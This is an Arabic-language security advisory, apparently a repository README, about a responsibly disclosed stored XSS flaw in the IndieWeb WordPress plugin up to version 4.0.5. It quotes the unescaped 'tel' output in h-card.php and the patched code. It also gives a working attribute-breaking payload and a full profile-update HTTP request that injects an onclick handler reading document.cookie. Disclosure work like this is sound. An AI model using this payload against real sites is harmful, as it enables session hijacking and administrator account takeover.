
ثغرة Cross-Site Scripting (XSS) مخزنة ومصادق عليها في إضافة IndieWeb لووردبريس
تنويه: تم إنشاء هذا المستودع لأغراض تعليمية والإفصاح الأخلاقي فقط. تم الإبلاغ عن الثغرة بشكل مسؤول إلى البائع وتم إصلاحها. لا تستخدم هذه المعلومات لاستغلال الأنظمة دون إذن مناسب.
تم اكتشاف ثغرة برمجة نصية عبر المواقع (XSS) تخزينية في إضافة IndieWeb لووردبريس (الإصدارات <= 4.0.5). تسمح هذه الثغرة للمهاجمين الموثّقين الذين لديهم صلاحيات مؤلف (Author) أو أعلى بحقن نصوص جافا سكريبت ضارة في حقل "الهاتف" (Telephone) الخاص بملفهم الشخصي.
عند عرض "ودجة بطاقة اتصال الملف الشخصي للمؤلف (Author Profile H-Card Widget)" في الواجهة الأمامية، يتم عرض النص المحقون دون تعقيم مناسب. إذا قام مستخدم ذو صلاحيات عالية، مثل المدير (Administrator)، بالنقر على الرابط المُتلاعب به، يتم تنفيذ النص البرمجي في سياق متصفحه. يمكن أن يؤدي ذلك إلى اختطاف الجلسة، وإجراء إجراءات إدارية غير مصرح بها، والاستيلاء الكامل على الحساب (ATO).
<= 4.0.5المشكلة الأساسية تكمن في المعالجة غير الآمنة للبيانات الوصفية للمستخدم داخل نظام القوالب الخاص بالإضافة، وتحديدًا الفشل في استخدام دوال الهروب (escaping functions) المدمجة في ووردبريس.
الملف المعرض للخطر: templates/h-card.php (السطر 27)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
الخلل:
تقوم الإضافة بإخراج البيانات الوصفية tel للمستخدم مباشرة داخل سمة href لـ HTML باستخدام echo دون تغليفها بـ esc_attr(). يسمح هذا للمهاجم بتوفير سلسلة محرفة تتضمن علامة اقتباس مزدوجة (") لإغلاق سمة href مبكرًا، متبوعة بسمات HTML عشوائية (مثل style أو onclick).
<= 4.0.5./wp-admin/profile.php).href):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single()) لعرض معلومات المؤلف.POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
لإصلاح هذه الثغرة، يجب على مطوري الإضافة هروب المخرجات بشكل صحيح باستخدام دوال esc_attr() و esc_html() الخاصة بووردبريس.
مثال للكود المُصحح:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>